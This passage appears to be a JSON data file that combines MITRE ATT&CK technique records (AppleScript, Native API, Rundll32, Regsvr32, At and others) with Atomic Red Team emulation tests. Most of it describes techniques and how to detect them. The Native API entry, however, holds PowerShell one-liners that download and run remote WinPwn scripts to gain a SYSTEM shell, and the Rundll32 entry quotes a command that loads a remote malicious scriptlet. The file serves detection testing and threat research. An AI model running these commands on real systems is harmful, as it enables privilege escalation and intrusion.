abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript)\n\nAppleScripts do not need to call osascript to execute, however. They may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s NSAppleScript or OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)", - "modified": "2022-04-19T20:26:48.143Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Command and Scripting Interpreter: AppleScript", - "x_mitre_detection": "Monitor for execution of AppleScript through osascript and usage of the NSAppleScript and OSAScript APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Process: OS API Execution", - "Command: Command Execution", - "Process: Process Creation" - ], - "x_mitre_remote_support": false, - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1059.002" - }, - "atomic_tests": [] - }, - "T1106": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "macOS", - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Gordon Long, Box, Inc., @ethicalhax", - "Stefan Kanthak" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", - "created": "2017-05-31T21:31:17.472Z", - "x_mitre_version": "2.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1106", - "url": "https://attack.mitre.org/techniques/T1106" - }, - { - "source_name": "MACOS Cocoa", - "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1", - "description": "Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020." - }, - { - "source_name": "Apple Core Services", - "url": "https://developer.apple.com/documentation/coreservices", - "description": "Apple. (n.d.). Core Services. Retrieved June 25, 2020." - }, - { - "source_name": "macOS Foundation", - "url": "https://developer.apple.com/documentation/foundation", - "description": "Apple. (n.d.). Foundation. Retrieved July 1, 2020." - }, - { - "source_name": "OutFlank System Calls", - "url": "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/", - "description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021." - }, - { - "source_name": "GNU Fork", - "url": "https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html", - "description": "Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020." - }, - { - "source_name": "CyberBit System Calls", - "url": "https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/", - "description": "Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021." - }, - { - "source_name": "GLIBC", - "url": "https://www.gnu.org/software/libc/", - "description": "glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020." - }, - { - "source_name": "LIBC", - "url": "https://man7.org/linux/man-pages//man7/libc.7.html", - "description": "Kerrisk, M. (2016, December 12). libc(7) \u2014 Linux manual page. Retrieved June 25, 2020." - }, - { - "source_name": "Linux Kernel API", - "url": "https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html", - "description": "Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020." - }, - { - "source_name": "MDSec System Calls", - "url": "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/", - "description": "MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021." - }, - { - "source_name": "Microsoft CreateProcess", - "url": "http://msdn.microsoft.com/en-us/library/ms682425", - "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014." - }, - { - "source_name": "Microsoft Win32", - "url": "https://docs.microsoft.com/en-us/windows/win32/api/", - "description": "Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020." - }, - { - "source_name": "Microsoft NET", - "url": "https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework", - "description": "Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020." - }, - { - "source_name": "NT API Windows", - "url": "https://undocumented.ntinternals.net/", - "description": "The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nNative API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)).", - "modified": "2022-04-19T20:30:00.118Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Native API", - "x_mitre_detection": "Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \n\nUtilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Process: OS API Execution", - "Module: Module Load" - ], - "x_mitre_remote_support": false, - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1106" - }, - "atomic_tests": [ - { - "name": "Execution through API - CreateProcess", - "auto_generated_guid": "99be2089-c52d-4a4a-b5c3-261ee42c8b62", - "description": "Execute program by leveraging Win32 API's. By default, this will launch calc.exe from the command prompt.", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "source_file": { - "description": "Location of the CSharp source file to compile and execute", - "type": "path", - "default": "PathToAtomicsFolder\\T1106\\src\\CreateProcess.cs" - }, - "output_file": { - "description": "Location of the payload", - "type": "path", - "default": "%tmp%\\T1106.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "#{source_file} must exist on system.\n", - "prereq_command": "if (Test-Path #{source_file}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{source_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1106/src/CreateProcess.cs\" -OutFile \"#{source_file}\"\n" - } - ], - "executor": { - "command": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /out:\"#{output_file}\" /target:exe #{source_file}\n%tmp%/T1106.exe\n", - "name": "command_prompt" - } - }, - { - "name": "WinPwn - Get SYSTEM shell - Pop System Shell using CreateProcess technique", - "auto_generated_guid": "ce4e76e6-de70-4392-9efe-b281fc2b4087", - "description": "Get SYSTEM shell - Pop System Shell using CreateProcess technique via function of WinPwn", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystem.ps1')", - "name": "powershell" - } - }, - { - "name": "WinPwn - Get SYSTEM shell - Bind System Shell using CreateProcess technique", - "auto_generated_guid": "7ec5b74e-8289-4ff2-a162-b6f286a33abd", - "description": "Get SYSTEM shell - Bind System Shell using CreateProcess technique via function of WinPwn", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystemBind.ps1')", - "name": "powershell" - } - }, - { - "name": "WinPwn - Get SYSTEM shell - Pop System Shell using NamedPipe Impersonation technique", - "auto_generated_guid": "e1f93a06-1649-4f07-89a8-f57279a7d60e", - "description": "Get SYSTEM shell - Pop System Shell using NamedPipe Impersonation technique via function of WinPwn", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/NamedPipe/NamedPipeSystem.ps1')", - "name": "powershell" - } - } - ] - }, - "T1153": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0", - "type": "attack-pattern", - "created": "2017-12-14T16:46:06.044Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1153", - "url": "https://attack.mitre.org/techniques/T1153" - }, - { - "source_name": "Source Manual", - "url": "https://ss64.com/bash/source.html", - "description": "ss64. (n.d.). Source or Dot Operator. Retrieved May 21, 2019." - } - ], - "modified": "2020-03-30T13:40:14.512Z", - "name": "Source", - "description": "**This technique has been deprecated and should no longer be used.**\n\nThe source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or .**This technique has been deprecated and should no longer be used.** /path/to/filename [arguments]. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)\n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.", - "x_mitre_deprecated": true, - "x_mitre_version": "2.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1152": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee", - "type": "attack-pattern", - "created": "2017-12-14T16:46:06.044Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1152", - "url": "https://attack.mitre.org/techniques/T1152" - }, - { - "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", - "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", - "source_name": "Sofacy Komplex Trojan" - } - ], - "modified": "2020-03-10T18:31:00.336Z", - "name": "Launchctl", - "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Application whitelisting", - "Process whitelisting", - "Whitelisting by file name or path" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1610": { - "technique": { - "x_mitre_platforms": [ - "Containers" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Pawan Kinger, @kingerpawan, Trend Micro", - "Alfredo Oliveira, Trend Micro", - "Idan Frimark, Cisco", - "Center for Threat-Informed Defense (CTID)", - "Magno Logan, @magnologan, Trend Micro", - "Ariel Shuper, Cisco", - "Vishwas Manral, McAfee", - "Yossi Weizman, Azure Defender Research Team" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92", - "type": "attack-pattern", - "created": "2021-03-29T16:51:26.020Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1610", - "url": "https://attack.mitre.org/techniques/T1610" - }, - { - "source_name": "Docker Containers API", - "url": "https://docs.docker.com/engine/api/v1.41/#tag/Container", - "description": "Docker. (n.d.). Docker Engine API v1.41 Reference - Container. Retrieved March 29, 2021." - }, - { - "source_name": "Kubernetes Dashboard", - "url": "https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/", - "description": "The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021." - }, - { - "source_name": "Kubeflow Pipelines", - "url": "https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/", - "description": "The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021." - }, - { - "source_name": "Aqua Build Images on Hosts", - "url": "https://blog.aquasec.com/malicious-container-image-docker-container-host", - "description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021." - } - ], - "modified": "2022-04-01T13:14:58.939Z", - "name": "Deploy a container", - "description": "Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.\n\nContainers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Monitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored.", - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Container: Container Creation", - "Pod: Pod Modification", - "Application Log: Application Log Content", - "Pod: Pod Creation", - "Container: Container Start" - ], - "x_mitre_permissions_required": [ - "User", - "root" - ], - "x_mitre_remote_support": true, - "identifier": "T1610" - }, - "atomic_tests": [] - }, - "T1155": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b", - "type": "attack-pattern", - "created": "2017-12-14T16:46:06.044Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1155", - "url": "https://attack.mitre.org/techniques/T1155" - }, - { - "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/", - "description": "Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.", - "source_name": "Macro Malware Targets Macs" - } - ], - "modified": "2020-04-14T13:26:00.846Z", - "name": "AppleScript", - "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\".", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1085": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Ricardo Dias", - "Casey Smith" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", - "type": "attack-pattern", - "created": "2017-05-31T21:31:06.045Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1085", - "url": "https://attack.mitre.org/techniques/T1085" - }, - { - "source_name": "Trend Micro CPL", - "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.", - "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf" - }, - { - "source_name": "This is Security Command Line Confusion", - "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018.", - "url": "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/" - } - ], - "modified": "2020-01-31T19:01:41.919Z", - "name": "Rundll32", - "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.", - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Application whitelisting", - "Digital Certificate Validation" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1053.001": { - "technique": { - "x_mitre_platforms": [ - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e", - "created": "2019-12-03T12:59:36.749Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1053.001", - "url": "https://attack.mitre.org/techniques/T1053/001" - }, - { - "source_name": "rowland linux at 2019", - "url": "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/", - "description": "Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021." - }, - { - "source_name": "GTFObins at", - "url": "https://gtfobins.github.io/gtfobins/at/", - "description": "Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021." - }, - { - "source_name": "Kifarunix - Task Scheduling in Linux", - "url": "https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/", - "description": "Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019." - } - ], - "x_mitre_deprecated": false, - "revoked": true, - "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\n\nAdversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)", - "modified": "2022-04-16T20:45:01.814Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "At (Linux)", - "x_mitre_detection": "Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Command: Command Execution", - "Process: Process Creation", - "Scheduled Job: Scheduled Job Creation" - ], - "x_mitre_remote_support": true, - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1117": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Casey Smith" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a", - "type": "attack-pattern", - "created": "2017-05-31T21:31:26.966Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1117", - "url": "https://attack.mitre.org/techniques/T1117" - }, - { - "source_name": "Microsoft Regsvr32", - "description": "Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.", - "url": "https://support.microsoft.com/en-us/kb/249873" - }, - { - "source_name": "LOLBAS Regsvr32", - "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/", - "description": "LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019." - }, - { - "source_name": "Carbon Black Squiblydoo Apr 2016", - "description": "Nolen, R. et al.. (2016, April 28). Threat Advisory: \u201cSquiblydoo\u201d Continues Trend of Attackers Using Native OS Tools to \u201cLive off the Land\u201d. Retrieved April 9, 2018.", - "url": "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/" - }, - { - "url": "https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html", - "description": "Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.", - "source_name": "FireEye Regsvr32 Targeting Mongolian Gov" - } - ], - "modified": "2020-01-31T19:00:56.475Z", - "name": "Regsvr32", - "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to 